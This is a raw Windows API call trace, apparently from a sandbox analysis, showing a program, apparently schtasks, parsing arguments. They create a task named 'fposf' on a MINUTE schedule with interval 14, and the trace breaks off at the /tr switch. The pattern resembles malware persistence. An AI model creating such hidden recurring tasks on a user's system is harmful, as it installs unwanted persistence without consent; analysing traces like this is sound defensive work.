[0155.035] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.035] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|?|") returned 3 [0155.035] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.035] lstrlenW (lpString="|?|") returned 3 [0155.035] lstrlenW (lpString="|tn|") returned 4 [0155.035] SetLastError (dwErrCode=0x490) [0155.035] lstrlenW (lpString="s") returned 1 [0155.035] lstrlenW (lpString="s") returned 1 [0155.035] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.035] lstrlenW (lpString="tn") returned 2 [0155.035] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.035] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|s|") returned 3 [0155.035] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.035] lstrlenW (lpString="|s|") returned 3 [0155.035] lstrlenW (lpString="|tn|") returned 4 [0155.035] SetLastError (dwErrCode=0x490) [0155.036] lstrlenW (lpString="u") returned 1 [0155.036] lstrlenW (lpString="u") returned 1 [0155.036] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.036] lstrlenW (lpString="tn") returned 2 [0155.036] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.036] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|u|") returned 3 [0155.036] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.036] lstrlenW (lpString="|u|") returned 3 [0155.036] lstrlenW (lpString="|tn|") returned 4 [0155.036] SetLastError (dwErrCode=0x490) [0155.036] lstrlenW (lpString="p") returned 1 [0155.036] lstrlenW (lpString="p") returned 1 [0155.036] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.036] lstrlenW (lpString="tn") returned 2 [0155.036] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.036] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|p|") returned 3 [0155.036] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.036] lstrlenW (lpString="|p|") returned 3 [0155.036] lstrlenW (lpString="|tn|") returned 4 [0155.036] SetLastError (dwErrCode=0x490) [0155.036] lstrlenW (lpString="ru") returned 2 [0155.036] lstrlenW (lpString="ru") returned 2 [0155.036] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.036] lstrlenW (lpString="tn") returned 2 [0155.036] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.036] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|ru|") returned 4 [0155.037] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.037] lstrlenW (lpString="|ru|") returned 4 [0155.037] lstrlenW (lpString="|tn|") returned 4 [0155.037] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0155.037] SetLastError (dwErrCode=0x490) [0155.037] lstrlenW (lpString="rp") returned 2 [0155.037] lstrlenW (lpString="rp") returned 2 [0155.037] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.037] lstrlenW (lpString="tn") returned 2 [0155.037] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.037] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|rp|") returned 4 [0155.037] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.037] lstrlenW (lpString="|rp|") returned 4 [0155.037] lstrlenW (lpString="|tn|") returned 4 [0155.037] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0155.037] SetLastError (dwErrCode=0x490) [0155.037] lstrlenW (lpString="sc") returned 2 [0155.037] lstrlenW (lpString="sc") returned 2 [0155.037] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.037] lstrlenW (lpString="tn") returned 2 [0155.037] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.037] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sc|") returned 4 [0155.037] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.037] lstrlenW (lpString="|sc|") returned 4 [0155.037] lstrlenW (lpString="|tn|") returned 4 [0155.037] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0155.038] SetLastError (dwErrCode=0x490) [0155.038] lstrlenW (lpString="mo") returned 2 [0155.038] lstrlenW (lpString="mo") returned 2 [0155.038] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.038] lstrlenW (lpString="tn") returned 2 [0155.038] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.038] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|mo|") returned 4 [0155.038] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.038] lstrlenW (lpString="|mo|") returned 4 [0155.038] lstrlenW (lpString="|tn|") returned 4 [0155.038] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0155.038] SetLastError (dwErrCode=0x490) [0155.038] lstrlenW (lpString="d") returned 1 [0155.038] lstrlenW (lpString="d") returned 1 [0155.038] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.038] lstrlenW (lpString="tn") returned 2 [0155.038] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.038] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|d|") returned 3 [0155.038] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.038] lstrlenW (lpString="|d|") returned 3 [0155.038] lstrlenW (lpString="|tn|") returned 4 [0155.038] SetLastError (dwErrCode=0x490) [0155.038] lstrlenW (lpString="m") returned 1 [0155.038] lstrlenW (lpString="m") returned 1 [0155.038] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.038] lstrlenW (lpString="tn") returned 2 [0155.038] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.039] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|m|") returned 3 [0155.039] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.039] lstrlenW (lpString="|m|") returned 3 [0155.039] lstrlenW (lpString="|tn|") returned 4 [0155.039] SetLastError (dwErrCode=0x490) [0155.039] lstrlenW (lpString="i") returned 1 [0155.039] lstrlenW (lpString="i") returned 1 [0155.039] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.039] lstrlenW (lpString="tn") returned 2 [0155.039] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.039] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|i|") returned 3 [0155.039] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.039] lstrlenW (lpString="|i|") returned 3 [0155.039] lstrlenW (lpString="|tn|") returned 4 [0155.039] SetLastError (dwErrCode=0x490) [0155.039] lstrlenW (lpString="tn") returned 2 [0155.039] lstrlenW (lpString="tn") returned 2 [0155.039] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.039] lstrlenW (lpString="tn") returned 2 [0155.039] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.039] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.039] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.039] lstrlenW (lpString="|tn|") returned 4 [0155.039] lstrlenW (lpString="|tn|") returned 4 [0155.039] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0155.039] SetLastError (dwErrCode=0x0) [0155.040] SetLastError (dwErrCode=0x0) [0155.040] lstrlenW (lpString="fposf") returned 5 [0155.040] lstrlenW (lpString="-/") returned 2 [0155.040] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0155.040] SetLastError (dwErrCode=0x490) [0155.040] SetLastError (dwErrCode=0x490) [0155.040] SetLastError (dwErrCode=0x0) [0155.040] lstrlenW (lpString="fposf") returned 5 [0155.040] StrChrIW (lpStart="fposf", wMatch=0x3a) returned 0x0 [0155.040] SetLastError (dwErrCode=0x490) [0155.040] SetLastError (dwErrCode=0x0) [0155.040] lstrlenW (lpString="fposf") returned 5 [0155.040] SetLastError (dwErrCode=0x0) [0155.040] SetLastError (dwErrCode=0x0) [0155.040] lstrlenW (lpString="/sc") returned 3 [0155.040] lstrlenW (lpString="-/") returned 2 [0155.040] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.040] lstrlenW (lpString="create") returned 6 [0155.040] lstrlenW (lpString="create") returned 6 [0155.040] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.040] lstrlenW (lpString="sc") returned 2 [0155.040] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.040] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|create|") returned 8 [0155.040] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sc|") returned 4 [0155.040] lstrlenW (lpString="|create|") returned 8 [0155.040] lstrlenW (lpString="|sc|") returned 4 [0155.040] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0155.040] SetLastError (dwErrCode=0x490) [0155.041] lstrlenW (lpString="?") returned 1 [0155.060] lstrlenW (lpString="?") returned 1 [0155.060] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.060] lstrlenW (lpString="sc") returned 2 [0155.060] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.060] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|?|") returned 3 [0155.060] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sc|") returned 4 [0155.061] lstrlenW (lpString="|?|") returned 3 [0155.061] lstrlenW (lpString="|sc|") returned 4 [0155.061] SetLastError (dwErrCode=0x490) [0155.061] lstrlenW (lpString="s") returned 1 [0155.061] lstrlenW (lpString="s") returned 1 [0155.061] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.061] lstrlenW (lpString="sc") returned 2 [0155.061] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.061] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|s|") returned 3 [0155.061] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sc|") returned 4 [0155.061] lstrlenW (lpString="|s|") returned 3 [0155.061] lstrlenW (lpString="|sc|") returned 4 [0155.061] SetLastError (dwErrCode=0x490) [0155.061] lstrlenW (lpString="u") returned 1 [0155.061] lstrlenW (lpString="u") returned 1 [0155.061] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.061] lstrlenW (lpString="sc") returned 2 [0155.061] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.061] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|u|") returned 3 [0155.061] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sc|") returned 4 [0155.061] lstrlenW (lpString="|u|") returned 3 [0155.061] lstrlenW (lpString="|sc|") returned 4 [0155.061] SetLastError (dwErrCode=0x490) [0155.061] lstrlenW (lpString="p") returned 1 [0155.061] lstrlenW (lpString="p") returned 1 [0155.061] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.061] lstrlenW (lpString="sc") returned 2 [0155.061] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.061] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|p|") returned 3 [0155.061] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sc|") returned 4 [0155.061] lstrlenW (lpString="|p|") returned 3 [0155.061] lstrlenW (lpString="|sc|") returned 4 [0155.062] SetLastError (dwErrCode=0x490) [0155.062] lstrlenW (lpString="ru") returned 2 [0155.062] lstrlenW (lpString="ru") returned 2 [0155.062] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.062] lstrlenW (lpString="sc") returned 2 [0155.062] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.062] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|ru|") returned 4 [0155.062] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sc|") returned 4 [0155.062] lstrlenW (lpString="|ru|") returned 4 [0155.062] lstrlenW (lpString="|sc|") returned 4 [0155.062] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0155.062] SetLastError (dwErrCode=0x490) [0155.062] lstrlenW (lpString="rp") returned 2 [0155.062] lstrlenW (lpString="rp") returned 2 [0155.062] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.062] lstrlenW (lpString="sc") returned 2 [0155.062] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.062] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|rp|") returned 4 [0155.062] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sc|") returned 4 [0155.062] lstrlenW (lpString="|rp|") returned 4 [0155.062] lstrlenW (lpString="|sc|") returned 4 [0155.062] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0155.062] SetLastError (dwErrCode=0x490) [0155.062] lstrlenW (lpString="sc") returned 2 [0155.062] lstrlenW (lpString="sc") returned 2 [0155.062] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.062] lstrlenW (lpString="sc") returned 2 [0155.062] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.062] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sc|") returned 4 [0155.062] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sc|") returned 4 [0155.062] lstrlenW (lpString="|sc|") returned 4 [0155.062] lstrlenW (lpString="|sc|") returned 4 [0155.062] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0155.063] SetLastError (dwErrCode=0x0) [0155.063] SetLastError (dwErrCode=0x0) [0155.063] lstrlenW (lpString="MINUTE") returned 6 [0155.063] lstrlenW (lpString="-/") returned 2 [0155.063] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0155.063] SetLastError (dwErrCode=0x490) [0155.063] SetLastError (dwErrCode=0x490) [0155.063] SetLastError (dwErrCode=0x0) [0155.063] lstrlenW (lpString="MINUTE") returned 6 [0155.063] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0155.063] SetLastError (dwErrCode=0x490) [0155.063] SetLastError (dwErrCode=0x0) [0155.063] GetProcessHeap () returned 0x430000 [0155.063] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44d540 [0155.063] _memicmp (_Buf1=0x44d540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.063] lstrlenW (lpString="MINUTE") returned 6 [0155.063] GetProcessHeap () returned 0x430000 [0155.063] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xe) returned 0x44d560 [0155.063] lstrlenW (lpString="MINUTE") returned 6 [0155.063] lstrlenW (lpString=" \x09") returned 2 [0155.063] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0155.063] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0155.063] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0155.063] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0155.063] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0155.063] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0155.063] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0155.063] GetLastError () returned 0x0 [0155.065] lstrlenW (lpString="MINUTE") returned 6 [0155.065] lstrlenW (lpString="MINUTE") returned 6 [0155.065] SetLastError (dwErrCode=0x0) [0155.065] SetLastError (dwErrCode=0x0) [0155.065] lstrlenW (lpString="/mo") returned 3 [0155.065] lstrlenW (lpString="-/") returned 2 [0155.065] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.065] lstrlenW (lpString="create") returned 6 [0155.065] lstrlenW (lpString="create") returned 6 [0155.065] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.065] lstrlenW (lpString="mo") returned 2 [0155.065] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.066] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|create|") returned 8 [0155.066] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|mo|") returned 4 [0155.066] lstrlenW (lpString="|create|") returned 8 [0155.066] lstrlenW (lpString="|mo|") returned 4 [0155.066] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0155.066] SetLastError (dwErrCode=0x490) [0155.066] lstrlenW (lpString="?") returned 1 [0155.066] lstrlenW (lpString="?") returned 1 [0155.066] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.066] lstrlenW (lpString="mo") returned 2 [0155.066] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.066] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|?|") returned 3 [0155.066] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|mo|") returned 4 [0155.066] lstrlenW (lpString="|?|") returned 3 [0155.066] lstrlenW (lpString="|mo|") returned 4 [0155.066] SetLastError (dwErrCode=0x490) [0155.066] lstrlenW (lpString="s") returned 1 [0155.066] lstrlenW (lpString="s") returned 1 [0155.066] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.066] lstrlenW (lpString="mo") returned 2 [0155.066] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.066] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|s|") returned 3 [0155.066] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|mo|") returned 4 [0155.066] lstrlenW (lpString="|s|") returned 3 [0155.066] lstrlenW (lpString="|mo|") returned 4 [0155.066] SetLastError (dwErrCode=0x490) [0155.067] lstrlenW (lpString="u") returned 1 [0155.067] lstrlenW (lpString="u") returned 1 [0155.067] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.067] lstrlenW (lpString="mo") returned 2 [0155.067] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.067] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|u|") returned 3 [0155.067] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|mo|") returned 4 [0155.067] lstrlenW (lpString="|u|") returned 3 [0155.067] lstrlenW (lpString="|mo|") returned 4 [0155.067] SetLastError (dwErrCode=0x490) [0155.067] lstrlenW (lpString="p") returned 1 [0155.067] lstrlenW (lpString="p") returned 1 [0155.067] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.067] lstrlenW (lpString="mo") returned 2 [0155.067] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.067] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|p|") returned 3 [0155.067] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|mo|") returned 4 [0155.067] lstrlenW (lpString="|p|") returned 3 [0155.067] lstrlenW (lpString="|mo|") returned 4 [0155.067] SetLastError (dwErrCode=0x490) [0155.067] lstrlenW (lpString="ru") returned 2 [0155.067] lstrlenW (lpString="ru") returned 2 [0155.067] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.067] lstrlenW (lpString="mo") returned 2 [0155.067] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.068] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|ru|") returned 4 [0155.068] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|mo|") returned 4 [0155.068] lstrlenW (lpString="|ru|") returned 4 [0155.068] lstrlenW (lpString="|mo|") returned 4 [0155.068] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0155.068] SetLastError (dwErrCode=0x490) [0155.068] lstrlenW (lpString="rp") returned 2 [0155.068] lstrlenW (lpString="rp") returned 2 [0155.068] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.068] lstrlenW (lpString="mo") returned 2 [0155.068] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.068] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|rp|") returned 4 [0155.068] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|mo|") returned 4 [0155.068] lstrlenW (lpString="|rp|") returned 4 [0155.068] lstrlenW (lpString="|mo|") returned 4 [0155.068] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0155.068] SetLastError (dwErrCode=0x490) [0155.068] lstrlenW (lpString="sc") returned 2 [0155.068] lstrlenW (lpString="sc") returned 2 [0155.068] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.068] lstrlenW (lpString="mo") returned 2 [0155.068] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.068] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sc|") returned 4 [0155.068] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|mo|") returned 4 [0155.068] lstrlenW (lpString="|sc|") returned 4 [0155.069] lstrlenW (lpString="|mo|") returned 4 [0155.069] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0155.069] SetLastError (dwErrCode=0x490) [0155.069] lstrlenW (lpString="mo") returned 2 [0155.069] lstrlenW (lpString="mo") returned 2 [0155.069] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.069] lstrlenW (lpString="mo") returned 2 [0155.069] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.069] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|mo|") returned 4 [0155.069] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|mo|") returned 4 [0155.069] lstrlenW (lpString="|mo|") returned 4 [0155.069] lstrlenW (lpString="|mo|") returned 4 [0155.069] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0155.069] SetLastError (dwErrCode=0x0) [0155.069] SetLastError (dwErrCode=0x0) [0155.069] lstrlenW (lpString="14") returned 2 [0155.069] lstrlenW (lpString="-/") returned 2 [0155.069] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0155.069] SetLastError (dwErrCode=0x490) [0155.069] SetLastError (dwErrCode=0x490) [0155.069] SetLastError (dwErrCode=0x0) [0155.069] lstrlenW (lpString="14") returned 2 [0155.069] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0155.069] SetLastError (dwErrCode=0x490) [0155.069] SetLastError (dwErrCode=0x0) [0155.069] _memicmp (_Buf1=0x44d540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.069] lstrlenW (lpString="14") returned 2 [0155.069] lstrlenW (lpString="14") returned 2 [0155.070] lstrlenW (lpString=" \x09") returned 2 [0155.070] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0155.070] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0155.070] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0155.070] GetLastError () returned 0x0 [0155.070] lstrlenW (lpString="14") returned 2 [0155.070] lstrlenW (lpString="14") returned 2 [0155.070] GetProcessHeap () returned 0x430000 [0155.070] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x6) returned 0x44b970 [0155.070] SetLastError (dwErrCode=0x0) [0155.070] SetLastError (dwErrCode=0x0) [0155.070] lstrlenW (lpString="/tr") returned 3 [0155.070] lstrlenW (lpString="-/") returned 2 [0155.070] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.070] lstrlenW (lpString="create") returned 6 [0155.070] lstrlenW (lpString="create") returned 6 [0155.070] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.070] 